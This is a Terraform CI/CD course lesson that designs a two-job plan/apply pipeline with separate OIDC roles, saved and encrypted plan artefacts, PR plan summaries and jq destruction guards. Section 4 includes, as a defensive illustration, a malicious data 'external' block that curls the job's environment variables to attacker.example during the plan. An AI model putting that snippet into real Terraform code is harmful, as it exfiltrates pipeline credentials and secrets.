Module 7 closed with a claim worth re-reading before you start: "formatting, linters, tests, scanners, policies and the plan on the pull request only count when a machine runs them, on every change, with no exceptions and with nobody able to skip them. Module 8, Terraform in CI/CD, builds exactly that machine."

This lesson is the blueprint for that machine. It does not build it with any particular tool: it designs it. Everything you see here is equally true in Jenkins, in GitHub Actions, in GitLab CI, in Azure DevOps or in Buildkite, because the problem is not one of pipeline syntax but one of Terraform's nature. Terraform is a tool that modifies real systems irreversibly, starting from a plan computed at one specific moment, and that imposes constraints an application build pipeline does not have.

The next two lessons implement this same design in Jenkins (08-02) and in GitHub Actions (08-03). If you understand this lesson well, those two will be almost mechanical transcriptions. If you skip it, you will end up copying a YAML file off the internet without knowing why the apply uses a saved file instead of planning again — which is, by a wide margin, the most expensive mistake in the whole module.

Cost and security warning. A Terraform pipeline runs code with administrator permissions over your cloud, on a machine you are not watching, triggered by events that sometimes originate outside your organisation. Every section of this lesson that carries a warning carries it for a concrete reason. Read them: the plan artefact you store in CI contains your secrets in the clear, and the runner that executes your apply is, in practice, an administrator of your account.

  1. What changes when you move Terraform from a laptop to a machine

For seven modules you have run Terraform in one very specific way: you, sitting in front of it, with your credentials, watching coloured output, answering yes when it looked right. All of those conditions disappear at once in a pipeline, and each one has consequences.

Dimension On your laptop In the pipeline What to do about it
Credentials Your AWS profile, your SSO session, your MFA There is no person, no interactive MFA Machine identity: a role assumed via OIDC, different per job (§4, §5)
Interactive input Terraform asks for missing variables and waits for yes Nobody answers: the job hangs until the timeout -input=false always; approval happens outside Terraform (§2, §10)
Concurrency One person, one run Several PRs, several merges, a cron job, all at once Concurrency group per state + -lock-timeout (§11)
Traceability Your shell history, which nobody else sees There must be a record you can consult months later Retained logs, session_name in CloudTrail (07-04), archived plan
Reproducibility Your Terraform version, your providers, your cache A clean container every time Pinned version, .terraform.lock.hcl with -lockfile=readonly (§14)
Output Coloured, readable, interactive Plain text in a log somebody will read later -no-color, plus a summary published where the decision is made (§7)
Working directory Persists between commands May vanish between jobs The .terraform/ directory and the plan travel as artefacts (§6)
Trust Only you run it A PR from a stranger can trigger the pipeline PRs never touch write credentials (§4, and 08-03 §security)

The two rows that cause the most incidents are concurrency and reproducibility, and both are invisible until the team grows. With one person, there are never two simultaneous apply runs and the Terraform version is always the same. With eight people and a nightly cron job, both things happen in the same week.

The property that makes Terraform special

There is a fundamental difference from an application pipeline worth naming explicitly, because it explains almost everything in the design that follows:

flowchart LR
    subgraph APP["Application pipeline"]
        A1["Build"] --> A2["Test"] --> A3["Publish image"] --> A4["Deploy"]
        A5["If it fails: retry<br/>It is idempotent and reversible"]
    end

    subgraph TF["Terraform pipeline"]
        B1["Plan<br/><i>computes a delta against<br/>the real world NOW</i>"] --> B2["Review"] --> B3["Apply<br/><i>executes THAT delta</i>"]
        B4["If it fails: the world is left<br/>half-done. Retrying<br/>may make it worse"]
    end

    style B1 fill:#fef3c7,stroke:#b45309
    style B3 fill:#fee2e2,stroke:#b91c1c
    style B4 fill:#fee2e2,stroke:#b91c1c

A build always produces the same artefact from the same code: it is a pure function. A Terraform plan is not: it depends on the code, on the variables, on the state and on the real world at that instant. Two plans from the same commit, an hour apart, can differ because somebody touched something in the console. And an apply is not a reversible deployment: it is a set of API calls that create, modify and destroy.

From that come the two structural rules of the whole module:

  1. What gets approved and what gets applied must be the same plan, byte for byte. If the apply plans again, the human approved one thing and the machine did another.
  2. The job that plans and the job that applies cannot have the same permissions. Planning is reading; applying is writing. And the one that plans runs code from a PR that anybody can write.

  1. The automation flags: non-interactive mode

Terraform has a set of options designed specifically for running with no person in front of it. They are not optional: they are the difference between a pipeline that works and one that hangs for thirty minutes and burns a runner.

Flag or variable What it does Why it matters in CI
-input=false Forbids asking for anything on the console; if a value is missing it fails instead of waiting Without it, a variable with no value hangs the job until the runner's timeout
-no-color Suppresses the ANSI codes A log full of \e[32m is unreadable, and it breaks grep/jq over the output
TF_IN_AUTOMATION=1 Tells Terraform it is in a pipeline Removes from the messages the "now run terraform apply" style of suggestion, which is confusing when reading the log
-lock-timeout=<dur> Waits up to that duration for the state lock to be released Without it, a simultaneous apply fails instantly instead of waiting its turn
-auto-approve Applies without asking Only legitimate when applying an already-approved plan file, or in dev (§10)
-out=<file> Saves the plan to a file The centrepiece of the whole design (§6)
-detailed-exitcode Exit codes 0/1/2 depending on whether there are changes The basis of drift detection (§12)
-lockfile=readonly Fails if the .terraform.lock.hcl would need to change Stops the pipeline silently updating a provider (§14)
TF_INPUT=false The environment-variable equivalent of -input=false Also covers the commands where you forgot the flag
TF_CLI_ARGS_plan Appends arguments to every plan Handy for injecting -lock-timeout without touching the commands

EcoMarket's standard environment block

Instead of repeating flags on every command, the pipeline sets the environment once:

# Environment variables common to ALL Terraform jobs.
export TF_IN_AUTOMATION=1        # no "now run..." suggestions
export TF_INPUT=false            # no interactive questions, ever
export TF_CLI_ARGS_init="-input=false -no-color"
export TF_CLI_ARGS_plan="-input=false -no-color -lock-timeout=5m"
export TF_CLI_ARGS_apply="-input=false -no-color -lock-timeout=5m"

# Where providers are cached between runs (see §14).
export TF_PLUGIN_CACHE_DIR="${HOME}/.terraform.d/plugin-cache"

# Log level. NEVER "trace" by default: it is huge and it leaks headers.
export TF_LOG="${TF_LOG:-}"      # empty unless switched on by hand

Two observations about this:

TF_CLI_ARGS_<command> appends arguments, it does not replace them. If the command already carries -no-color, it will be passed twice, which is harmless. What is dangerous is putting a -var-file in there: it would stay hidden and apply to commands where you do not expect it.

TF_LOG deliberately empty. Turning on TF_LOG=DEBUG permanently in the pipeline looks prudent and is a risk: debug logs include API request and response bodies, which contain resource values. The correct use is to turn it on for a specific occasion to diagnose a failure, which is the subject of module 9.

About -auto-approve: when it is legitimate

-auto-approve has a deservedly bad reputation, but banning it outright is a badly framed rule. What matters is what gets approved, not whether there is a yes involved.

Situation Is -auto-approve legitimate? Reason
terraform apply plan.tfplan Not needed: applying a plan file does not ask The plan is already the approval
terraform apply -auto-approve in dev, on merge Yes The PR was reviewed, dev is disposable and the short cycle has value
terraform apply -auto-approve in prod No It would apply a recomputed plan nobody has seen
terraform destroy -auto-approve of an ephemeral PR environment Yes That environment exists for exactly that (06-01)
terraform destroy -auto-approve of anything else Never §13

The operational rule: -auto-approve is acceptable when the delta about to be applied has already been reviewed by somebody, or when the blast radius is zero by construction. In every other case, what gets applied is a plan file, and then the flag is redundant.

  1. The canonical flow in two jobs

This is the centrepiece of the lesson. The flow splits into two jobs with different permissions, different triggers and different moments, and one artefact travels between them: the plan file.

flowchart TD
    subgraph T1["PROPOSAL JOB · triggered by every push to the PR"]
        direction TB
        P0["checkout + pinned version"] --> P1["terraform fmt -check -recursive"]
        P1 --> P2["terraform init -backend-config=backends/$ENVIRONMENT.hcl"]
        P2 --> P3["terraform validate"]
        P3 --> P4["tflint"]
        P4 --> P5["Trivy / Checkov<br/><i>static analysis of the code</i>"]
        P5 --> P6["terraform test<br/><i>unit, with mock_provider</i>"]
        P6 --> P7["terraform plan -out=plan.tfplan<br/><b>READ-ONLY ROLE</b>"]
        P7 --> P8["terraform show -json plan.tfplan > plan.json"]
        P8 --> P9["conftest test --policy ci/policies/"]
        P9 --> P10["jq: destructions and replace_paths"]
        P10 --> P11["Publish summary on the PR"]
        P11 --> P12["Archive plan.tfplan<br/><i>encrypted, short retention</i>"]
    end

    T1 --> REV{{"Human review<br/>of the code AND the published plan"}}
    REV -->|"approved + merged"| T2

    subgraph T2["APPLY JOB · triggered on merge into main"]
        direction TB
        A0["Retrieve plan.tfplan<br/><b>the exact artefact</b>"] --> A1["terraform init<br/><i>same backend</i>"]
        A1 --> A2{{"Protected environment?"}}
        A2 -->|"dev"| A3["Apply directly"]
        A2 -->|"staging / prod"| A4["Wait for approval<br/>from a 2nd person"]
        A4 --> A3
        A3 --> A5["terraform apply plan.tfplan<br/><b>WRITE ROLE</b>"]
        A5 --> A6["Publish outputs and result"]
    end

    style P7 fill:#dbeafe,stroke:#1d4ed8
    style A5 fill:#fee2e2,stroke:#b91c1c
    style REV fill:#fef3c7,stroke:#b45309

What runs in each job, and why

Step Proposal Apply Reason
fmt -check Yes No It is about the code; if it passed on the PR, it still passes
init Yes Yes The working directory is new; providers must be downloaded and the backend connected
validate Yes No Same as fmt: a property of the code
tflint Yes No Likewise
Scanner (Trivy/Checkov) Yes No Likewise. If you also want to block on merge, you protect the branch rather than duplicating the step
terraform test Yes No Unit tests of the modules; slow and about the code
plan -out Yes No The apply does NOT re-plan. This is the most important rule in the module
Policies (Conftest) Yes Optionally yes On the apply, as a second net if the plan is old; cheap, and it detects tampering with the artefact
jq analysis of the plan Yes No It exists to support a decision, and the decision happens on the PR
Publish on the PR Yes No There is no PR to publish to once it has been merged
Manual approval No Yes (staging/prod) Approval happens just before writing, not before reviewing
apply No Yes Obvious, but broken more often than you would think

The row worth underlining: there is no plan in the apply job. There is init and there is apply plan.tfplan. Everything else already happened.

Why exactly two jobs, and not one or five

Why not one. A single job that plans, waits for approval and applies has three problems: it keeps an executor busy for the whole wait (which can be hours), it forces the job to hold write permissions from the very first second, and it does not let the plan be reviewed on the PR before merging.

Why not five. You see the "one job per tool" design a lot: one for fmt, another for tflint, another for the scanner… It is tempting because it parallelises, but in Terraform every new job means a new init (provider downloads, backend connection) that costs between 15 and 60 seconds. With five jobs, the init costs more than the useful work. Grouping the fast steps into a single sequential job is usually faster than parallelising them, and certainly cheaper.

The reasonable exception: if the scanner or the test suite takes several minutes and needs neither init nor credentials, then it does deserve its own parallel job.

The order of the steps is not arbitrary

It is ordered from cheapest and fastest to most expensive and slowest, so that the developer gets the failure as early as possible:

  1. fmt -check — milliseconds, needs neither init nor credentials.
  2. init — seconds; needs backend access (read).
  3. validate — milliseconds, needs no cloud credentials.
  4. tflint — seconds.
  5. Static scanner — seconds to a minute; only reads .tf files.
  6. terraform test — tens of seconds to minutes; with mock_provider it never touches the cloud.
  7. plan — the expensive step: it queries the cloud API resource by resource.
  8. Policies and analysis over the plan — seconds, but they depend on the plan.

fmt -check going first is not aesthetics: it is that failing in three seconds with "needs formatting" is infinitely better than failing four minutes in for the same reason.

  1. Different permissions per job: the plan role and the apply role

07-04 established the principle and left the details for here. The principle was: plan is a read operation and apply is a write one, and giving them the same role hands write permissions to anybody who can open a PR.

Remember why this is serious: the proposal job runs code that comes from the PR. Somebody can open a PR that adds this:

# In a malicious PR, inside any .tf file in the repository.
data "external" "exfiltration" {
  program = ["bash", "-c", "curl -X POST https://attacker.example/r -d \"$(env)\""]
}

That data block is evaluated during the plan. If the proposal job holds write credentials over production, the PR has just obtained them. With a read-only role, the damage is reduced to reading infrastructure metadata, which is bad but recoverable.

EcoMarket's role table

Picking up exactly the table from 07-04 §17, and adding the column that was missing — which job uses it:

Role Account Permissions Used by Obtained with
ecomarket-terraform-plan-dev ...012 Read + state (read and lock) Proposal job OIDC from any PR
ecomarket-terraform-dev ...012 Write scoped by tag and prefix Apply job OIDC from main
ecomarket-terraform-plan-staging ...013 Read + state Proposal job OIDC from any PR
ecomarket-terraform-staging ...013 Scoped write Apply job OIDC from main + protected environment
ecomarket-terraform-plan-prod ...014 Read + state Proposal job OIDC from any PR
ecomarket-terraform-prod ...014 Scoped write, with Deny over security IAM Apply job OIDC from main + protected prod environment + approval

The detail almost everybody skips: the plan needs to write the lock

A purely "read-only" role cannot plan, and this surprises a lot of people the first time. terraform plan with an S3 backend and locking needs:

  • s3:GetObject on the state key — reading, obviously.
  • s3:PutObject no, because the plan does not write the state… unless the refresh brings metadata changes.
  • And to create and delete the lock item, because the plan also locks by default.
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ReadTheState",
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::ecomarket-tfstate-123456789014",
        "arn:aws:s3:::ecomarket-tfstate-123456789014/ecomarket/prod/*"
      ]
    },
    {
      "Sid": "StateLockDuringPlan",
      "Effect": "Allow",
      "Action": ["dynamodb:GetItem", "dynamodb:PutItem", "dynamodb:DeleteItem"],
      "Resource": "arn:aws:dynamodb:eu-west-1:123456789014:table/ecomarket-tfstate-locks"
    }
  ]
}

There are two alternatives to the locking statement, and it is worth knowing their trade-offs:

Option Advantage Drawback
Grant the plan role write access to the lock table The plan behaves exactly as always The plan role can create orphan locks
terraform plan -lock=false The role is pure read A real risk: you plan while somebody else applies, and the plan is born stale
Plan against a state that has been read and copied Genuinely pure read Complex, and it does not detect that somebody is applying

EcoMarket picks the first. An orphan lock is resolved with force-unlock (§13); a plan computed during somebody else's apply is a plan that lies, and that lie gets applied afterwards. Write access to a lock table is not a dangerous permission: what would be dangerous is writing to the state.

Note on modern backends. Since Terraform 1.10, the S3 backend can lock using the bucket itself with use_lockfile = true, without DynamoDB. In that case the plan role needs s3:PutObject and s3:DeleteObject on <key>.tflock — and only on that key — which is expressed with a Resource ending in .tflock. The trade-off is identical.

  1. OIDC as the way to obtain those permissions without keys

07-04 explained what OIDC is and why it eliminates the static key, with its sequence diagram. Here we only need the pipeline-design part; the concrete configuration is done end to end by 08-03 for GitHub Actions and by 08-02 for Jenkins.

What does belong to this lesson: what determines which role can be assumed, because that is the piece that connects the two-job design to real security.

Restriction axis What it expresses Example in EcoMarket
Repository Only this repository can assume the role repo:ecomarket/ecomarket-infra:*
Reference (branch or tag) Only from main ...:ref:refs/heads/main
Event type Only from a PR ...:pull_request
Environment Only from the protected prod environment ...:environment:prod
Audience (aud) Who the token is intended for sts.amazonaws.com

The combination that implements the two-job design is this:

  • The plan role trusts repo:ecomarket/ecomarket-infra:pull_request. Any PR in the repository can plan.
  • The apply role trusts repo:ecomarket/ecomarket-infra:environment:prod. And only the job that declares that environment — which in turn requires reviewers — gets a token with that sub.

That last line closes the circle: the protected CI environment is not just a gate in the user interface, it is what makes the token carry the right sub. If somebody tries to bypass the approval by running the job without the environment, the token does not carry environment:prod and STS refuses the assumption. The gate is in two places at once, and the second one cannot be switched off from the repository.

Cloud Mechanism Configured by
AWS AssumeRoleWithWebIdentity + IAM OIDC provider 08-03 §3 in detail
Azure Federated credentials on the Entra ID app registration 08-03, equivalence table
GCP Workload Identity Federation + service-account impersonation Likewise

  1. The plan artefact: why you save it and apply that exact file

This is the part most people get wrong, and the one that costs the most.

The mistake: re-planning on the apply

The incorrect pipeline, the one you find in half the tutorials:

# PROPOSAL JOB
terraform plan          # shown on the PR, somebody approves it

# APPLY JOB (on merge)
terraform apply -auto-approve      # ← plans again and applies whatever comes out

Between those two moments, minutes, hours or days can pass. And in that interval:

  • Somebody may have merged another PR that touches the same resources.
  • Somebody may have changed something by hand in the console.
  • A data block may return something else: a more recent AMI with most_recent = true, a list of zones, a rotated secret.
  • A provider may have been updated if the lockfile is not respected.

The result is that a plan nobody has seen gets applied. The concrete case that usually hurts: a PR is approved with a plan showing "2 changes", and by the time it is merged, the recomputed apply proposes "2 changes, 1 destruction", because in the meantime another PR that renamed a resource was merged.

The correct design

# PROPOSAL JOB
terraform plan -out=plan.tfplan     # the plan is a FILE
# → its summary is published on the PR
# → the file is archived as an artefact

# APPLY JOB
# → THE SAME file is downloaded
terraform apply plan.tfplan          # applies exactly that delta

A saved plan file contains, in binary format:

Content What it is for
The complete delta (actions per resource, attribute by attribute) It is what is going to be executed
The resolved values of every variable Sensitive ones included: this is where the security warning comes from
A hash of the state it was computed against It is what detects that the plan is stale
The provider configuration and their versions Consistency of the apply

And terraform apply plan.tfplan has three properties that make it the only correct way to apply in CI:

  1. It asks nothing. It does not need -auto-approve: applying a saved plan already implies approval.
  2. It reads no variables. No .tfvars, no -var, no TF_VAR_* environment variables. They are inside the plan. In fact, passing it a -var-file is an error.
  3. It verifies that the state has not changed. If it changed, it fails instead of applying something different.

The "Saved plan is stale" error

This is the defence mechanism working, not a pipeline problem:

Error: Saved plan is stale

The given plan file can no longer be applied because the state was changed
by another operation after the plan was created.

Terraform stores the state serial in the plan and compares it when applying. If another operation wrote the state in between, the plan is rejected. This error is good news: it means it has just saved you from applying a delta computed against a reality that no longer exists.

What to do when it appears:

Situation What to do What NOT to do
Another PR was merged and applied first Re-plan and review the new plan again Apply "by hand" from a laptop
The drift cron job applied a correction Likewise Disable the cron job so it stops getting in the way
Days have passed since the plan Re-plan; the plan expired by design Increase the artefact retention

The design reading: the window between plan and apply must be short. If three days pass between approving and applying in your organisation, the problem is not the error, it is the process.

Explicit plan expiry

Terraform has no "expires after N hours", so EcoMarket enforces it in the pipeline:

#!/usr/bin/env bash
# ci/check-plan-freshness.sh — runs before the apply.
set -euo pipefail

PLAN="${1:?Usage: check-plan-freshness.sh <file.tfplan>}"
MAX_HOURS="${MAX_HOURS:-8}"

# The artefact's creation time: the proposal job writes it next to the
# plan, because the file's mtime is lost when archiving.
CREATED=$(cat "${PLAN}.created")                # epoch in seconds
NOW=$(date +%s)
AGE_HOURS=$(( (NOW - CREATED) / 3600 ))

if [ "${AGE_HOURS}" -ge "${MAX_HOURS}" ]; then
  echo "REJECTED: the plan is ${AGE_HOURS} h old (maximum ${MAX_HOURS} h)."
  echo "Run the proposal job again and review the new plan."
  echo "An old plan may have been computed against a different reality."
  exit 1
fi

echo "Plan is ${AGE_HOURS} h old. Within the window."

Eight hours is EcoMarket's policy for prod; in dev it does not matter because the cycle is minutes long. The number is not what matters: what matters is that a number exists and that the pipeline checks it, rather than trusting that nobody approves a plan from last Tuesday.

Security warning: the .tfplan contains secrets in the clear

This warning appeared in 07-01 (the final echo of ci/plan.sh) and in 07-02 (never attach it to the PR). Now it becomes operational, because the pipeline has to store it somewhere.

# A demonstration of why it matters. On any plan at all:
terraform show -json plan.tfplan | jq '.variables.db_password'
{
  "value": "RealProductionPassword"
}

The sensitive marker from 02-02 hides the value in the console output, not in the file. The plan file is a dump of everything Terraform needs in order to apply, and that includes var.db_password verbatim.

The four mandatory measures for the plan artefact:

Measure How it is implemented Why
Encryption at rest Encrypt the file before archiving it (age, KMS, or the artefact store's own encryption) The CI artefact store is usually readable by far more people than you think
Short retention Days, not months. At EcoMarket: 7 days A plan from six months ago still contains the password from six months ago, which may still be valid
Restricted access Only the platform team can download prod artefacts If any developer can download it, the prod role is irrelevant
Never on the PR What goes on the PR is terraform show -no-color, which does respect sensitive The PR is public inside the organisation, and sometimes outside it
# Encrypting the artefact before archiving it, with age and a public key
# whose private half only the apply job holds.
age --encrypt --recipient-file ci/plan-key.pub \
    --output plan.tfplan.age plan.tfplan
rm -f plan.tfplan          # the original does NOT stay in the workspace

# And in the apply job, with the private key injected as a secret:
age --decrypt --identity <(echo "$PLAN_PRIVATE_KEY") \
    --output plan.tfplan plan.tfplan.age

A simpler and often sufficient alternative: do not archive the plan and use a single job with approval, paying the price of a blocked executor. That is the trade-off 08-02 discusses in detail, because in Jenkins that price is higher.

  1. Publishing the plan on the pull request

07-02 established the reviewer's checklist and left a note: "automate its publication on the PR (08-01)". Here is where that debt is paid.

The principle: a reviewer should not have to generate the plan in order to review it. If they have to, they will not, and they will approve an infrastructure change looking only at the code diff. The diff says instance_type = "t3.small"; the plan says whether that replaces forty instances.

What gets published: three layers

Layer Content Who for
1. Headline "12 to create, 3 to change, 1 to destroy" Whoever is skimming
2. Signals List of destructions, replacements with their cause, IAM and network changes The reviewer who decides
3. Full plan The output of terraform show -no-color, collapsed Whoever wants the detail
#!/usr/bin/env bash
# ci/plan-summary.sh — generates the Markdown comment for the PR.
set -euo pipefail

PLAN="${1:?Usage: plan-summary.sh <file.tfplan> <environment>}"
ENVIRONMENT="${2:?}"
MAX_LINES="${MAX_LINES:-400}"

terraform show -json "${PLAN}" > plan.json

# --- Layer 1: the counts, with jq. ---
read_count() {
  jq --arg action "$1" '[.resource_changes[]
       | select(.change.actions | index($action))] | length' plan.json
}
CREATE=$(read_count create)
CHANGE=$(read_count update)
DESTROY=$(read_count delete)

# The headline icon depends on whether there are destructions: the most
# important signal must be visible without reading.
if [ "${DESTROY}" -gt 0 ]; then HEADLINE="DESTRUCTIONS"; else HEADLINE="No destructions"; fi

cat > comment.md <<HEADER
## Terraform plan · \`${ENVIRONMENT}\` · ${HEADLINE}

| Create | Change | **Destroy** |
| --- | --- | --- |
| ${CREATE} | ${CHANGE} | **${DESTROY}** |

Commit: \`${COMMIT_SHA:-unknown}\` · Generated: $(date -u '+%Y-%m-%d %H:%M UTC')
HEADER

# --- Layer 2: the signals the reviewer absolutely must see. ---
if [ "${DESTROY}" -gt 0 ]; then
  {
    echo
    echo "### Resources being destroyed or replaced"
    echo
    echo '```'
    jq -r '.resource_changes[]
           | select(.change.actions | index("delete"))
           | "\(.change.actions | join("+"))  \(.address)"' plan.json
    echo '```'
  } >> comment.md
fi

# replace_paths: the SPECIFIC attribute that forces each replacement (07-02 §8).
REPLACEMENTS=$(jq -r '.resource_changes[]
       | select((.change.replace_paths // []) | length > 0)
       | "- `\(.address)` ← replaced because of `\(.change.replace_paths | flatten | join(", "))`"' plan.json)

if [ -n "${REPLACEMENTS}" ]; then
  {
    echo
    echo "### Which attribute forces each replacement"
    echo
    echo "${REPLACEMENTS}"
  } >> comment.md
fi

# --- Layer 3: the full plan, collapsed and truncated. ---
# show WITHOUT -json respects sensitive: this one CAN be published.
terraform show -no-color "${PLAN}" > plan.txt
TOTAL=$(wc -l < plan.txt)

{
  echo
  echo "<details><summary>Full plan (${TOTAL} lines)</summary>"
  echo
  echo '```terraform'
  if [ "${TOTAL}" -gt "${MAX_LINES}" ]; then
    head -n "${MAX_LINES}" plan.txt
    echo ""
    echo "... TRUNCATED: ${TOTAL} lines in total, showing ${MAX_LINES}."
    echo "    The full plan is in this run's artefacts."
  else
    cat plan.txt
  fi
  echo '```'
  echo
  echo "</details>"
} >> comment.md

The four details that make this work in practice

terraform show without -json respects sensitive. This is the critical distinction: show -json dumps the values in the clear (we saw it in §6); plain show prints (sensitive value). What goes to the PR is always the second one. The JSON is generated, analysed with jq inside the runner, and never published.

Truncating is not optional. Platforms have a comment size limit (GitHub: 65,536 characters). A 300-resource plan exceeds it easily, and the whole comment fails — including the headline, which was the important part. Truncating and saying where the full version lives is the only reasonable option.

Update the comment, do not add a new one. A PR with fifteen pushes ends up with fifteen plans, and whoever reads them does not know which one is current. The correct pattern is to look for the bot's previous comment using a hidden marker and edit it. The concrete mechanism belongs to 08-03 §6.

The counts have a catch with replacements. A replacement is two actions (delete and create), so it appears in both columns. jq ... | index("delete") counts them as a destruction, which is what you want for the alarm signal, but it means "create 12, destroy 1" may be "eleven new ones and one replaced". That is why layer 2 lists the addresses: the counts alone are not enough.

  1. Automated plan analysis: terraform show -json and jq

The comment from the previous section informs. This section blocks. That is the difference between publishing a figure and making a decision.

There are two families of automated control over the plan, and it is worth not confusing them:

Family Tool What it expresses Where it lives
Policies Conftest + Rego (07-04) Business and security rules: tags, ports, instance types ci/policies/*.rego
Pipeline guards jq + exit code Thresholds of the flow itself: how many destructions are tolerated ci/*.sh

The policies have already been written since 07-04; the pipeline simply invokes them:

terraform show -json plan.tfplan > plan.json
conftest test --policy ci/policies/ --parser json plan.json
# Exit code != 0 if there is a deny. The job stops here.

What is new is the destruction guard, which is a decision about the flow, not about security:

#!/usr/bin/env bash
# ci/destroy-guard.sh — automated control over destructions.
set -euo pipefail

ENVIRONMENT="${1:?Usage: destroy-guard.sh <environment>}"
jq -e . plan.json > /dev/null   # fail early if the JSON is corrupt

# Threshold per environment. In dev things are destroyed without ceremony;
# in prod, any destruction requires an explicit label on the PR.
case "${ENVIRONMENT}" in
  dev)     THRESHOLD=99 ;;
  staging) THRESHOLD=5  ;;
  prod)    THRESHOLD=0  ;;
  *)       echo "Unknown environment: ${ENVIRONMENT}"; exit 1 ;;
esac

DESTROYED=$(jq -r '[.resource_changes[]
    | select(.change.actions | index("delete"))
    | .address] | length' plan.json)

if [ "${DESTROYED}" -le "${THRESHOLD}" ]; then
  echo "OK: ${DESTROYED} destructions (threshold ${THRESHOLD} in ${ENVIRONMENT})."
  exit 0
fi

echo "BLOCKED: the plan destroys or replaces ${DESTROYED} resources"
echo "in '${ENVIRONMENT}', and the threshold is ${THRESHOLD}."
echo
echo "Resources affected and which attribute causes it:"
jq -r '.resource_changes[]
   | select(.change.actions | index("delete"))
   | "  \(.address)  ←  \((.change.replace_paths // []) | flatten | join(", ") | if . == "" then "intentional destruction" else . end)"' plan.json
echo
echo "If the destruction is intentional, add the 'destroy-approved' label"
echo "to the PR and request a review from the platform team."
exit 1

And the replacement-specific guard, which deserves a control of its own because a replacement is a destruction in disguise:

# Resources holding data that must NEVER be replaced without human intervention.
TYPES_WITH_DATA='aws_db_instance|aws_rds_cluster|aws_s3_bucket|aws_efs_file_system|aws_elasticache'

DANGEROUS=$(jq -r --arg types "${TYPES_WITH_DATA}" '.resource_changes[]
    | select(.type | test($types))
    | select(.change.actions == ["delete","create"]
          or .change.actions == ["create","delete"])
    | "\(.address) ← \((.change.replace_paths // []) | flatten | join(", "))"' plan.json)

if [ -n "${DANGEROUS}" ]; then
  echo "BLOCKED: replacement of resources with persistent data."
  echo "${DANGEROUS}"
  echo
  echo "Replacing a database creates a NEW AND EMPTY instance."
  echo "The old one, with its data, is destroyed. git revert does not undo this."
  echo "See 07-02 §9 and the restore plan in docs/incidents.md."
  exit 1
fi

The difference between these two scripts and the Rego policies is who changes them and what for. A Rego policy expresses a permanent organisational rule and lives under security's CODEOWNERS. A pipeline guard expresses an operational threshold that the platform team tunes. Mixing them ends with security rules anybody can relax "because the threshold was annoying".

  1. The environment matrix and the single parameter

07-01 established EcoMarket's structure — one directory per component, backends/<environment>.hcl, environments/<environment>.tfvars — and explicitly left the pipeline that exploits it for this module. Here it is.

The design principle is a single sentence: the environment is chosen once, and everything else derives from it.

flowchart LR
    P["Single parameter<br/><b>ENVIRONMENT = prod</b>"] --> B["-backend-config=<br/>backends/prod.hcl"]
    P --> V["-var-file=<br/>environments/prod.tfvars"]
    P --> R["OIDC role<br/>ecomarket-terraform-prod"]
    P --> C["Concurrency group<br/>tf-prod-app"]
    P --> A["Approval?<br/>Yes, protected environment"]
    P --> U["Destruction threshold<br/>0"]

    style P fill:#dbeafe,stroke:#1d4ed8

Why this matters so much: the classic infrastructure failure is applying one environment's .tfvars against another environment's backend. It produces a plan that proposes recreating half an environment, and if somebody approves it while distracted, it destroys production to turn it into dev. With a single parameter from which everything derives, that mistake is impossible to make by accident: you would have to edit the pipeline.

It is exactly the same reasoning that underpins the account check guard from 06-05, and the two layers complement each other: the pipeline makes the mistake unlikely, and the check detects it if it happens anyway — for example, because somebody ran it from their laptop.

The script used by the pipeline and by people

Remember the principle from 07-01: "ci/plan.sh exists so that the human and the machine run the same thing". Here is the complete version, now with everything from module 8:

#!/usr/bin/env bash
# ci/plan.sh — the ONLY path to planning, locally and in CI.
set -euo pipefail

ENVIRONMENT="${1:?Usage: ci/plan.sh <dev|staging|prod> <component>}"
COMPONENT="${2:?Usage: ci/plan.sh <dev|staging|prod> <component>}"
ROOT="$(git rev-parse --show-toplevel)"
DIR="${ROOT}/infra/${COMPONENT}"

# Everything else DERIVES from the environment. A single place to get it wrong.
BACKEND="${ROOT}/backends/${ENVIRONMENT}.hcl"
COMMON="${ROOT}/environments/common.auto.tfvars"
VARS="${ROOT}/environments/${ENVIRONMENT}.tfvars"
PLAN="${ENVIRONMENT}-${COMPONENT}.tfplan"

# Early check: if a file is missing, fail HERE and not four minutes
# later with a cryptic Terraform error.
for f in "${BACKEND}" "${COMMON}" "${VARS}"; do
  [ -f "$f" ] || { echo "MISSING file ${f}"; exit 1; }
done

export TF_IN_AUTOMATION=1
export TF_INPUT=false

# -reconfigure is MANDATORY: it stops Terraform offering to migrate the
# state from the previous backend to the new one when switching environments.
# -lockfile=readonly: if the lockfile would need changes, FAIL (see §14).
terraform -chdir="${DIR}" init \
  -reconfigure \
  -lockfile=readonly \
  -backend-config="${BACKEND}"

terraform -chdir="${DIR}" plan \
  -no-color \
  -lock-timeout=5m \
  -var-file="${COMMON}" \
  -var-file="${VARS}" \
  -out="${PLAN}"

# Timestamp for the freshness check in §6.
date +%s > "${DIR}/${PLAN}.created"

echo "Plan saved to ${DIR}/${PLAN}."
echo "Do NOT push it to the repository: it contains values in the clear."

The matrix: which combinations run, and when

With three environments and three components there are nine combinations, and running them all on every PR is expensive and pointless.

Trigger What gets planned Reason
PR touching infra/app/** app in all 3 environments The same code goes to all three; all three plans must be seen
PR touching environments/prod.tfvars All 3 components in prod It changes production sizing
PR touching modules/observability/** Everything that consumes that module A module being bedded in affects its consumers
PR touching README.md Nothing Save time and money
Merge into main What the PR planned gets applied The artefact already exists
Nightly cron job All 9, with -detailed-exitcode Drift (§12)

Filtering by paths is what keeps the pipeline fast, and it is also what introduces the subtlest bug in this section: if the filter is too narrow, a change to environments/common.auto.tfvars triggers nothing and nobody sees its effect until the nightly cron job. The practical rule: shared files (common.auto.tfvars, versions.tf, ci/policies/) trigger everything.

  1. Promotion and gates: what applies on its own and what waits for a human

07-02 established that you promote by tag or version, never by copying. This lesson adds the other half: what happens automatically at each step.

Environment Apply trigger Approval Window Blast radius on failure
dev Merge into main, automatic None: the PR review already happened Any None: it gets recreated
staging Manual or scheduled after dev One person from the platform team Working hours Low: nobody external uses it
prod Manual, after validating staging Two people, one of them on call Declared window, not Friday High: customers

Why dev applies on its own

It is a deliberate decision and it deserves defending, because it sounds like a shortcut. The reasons:

  1. The PR was already reviewed with its plan published. The approval exists; it is the PR's.
  2. The feedback loop is what gives dev its value. If applying in dev requires a click, people test on their laptops with personal credentials, which is exactly what we want to eliminate.
  3. The blast radius is zero by construction. dev can be destroyed and recreated.
  4. An automatic apply in dev that fails is valuable information before reaching staging.

The condition that makes this safe is that the first three statements are true. If dev in your organisation holds data somebody cares about, then dev is not dev and this rule does not apply.

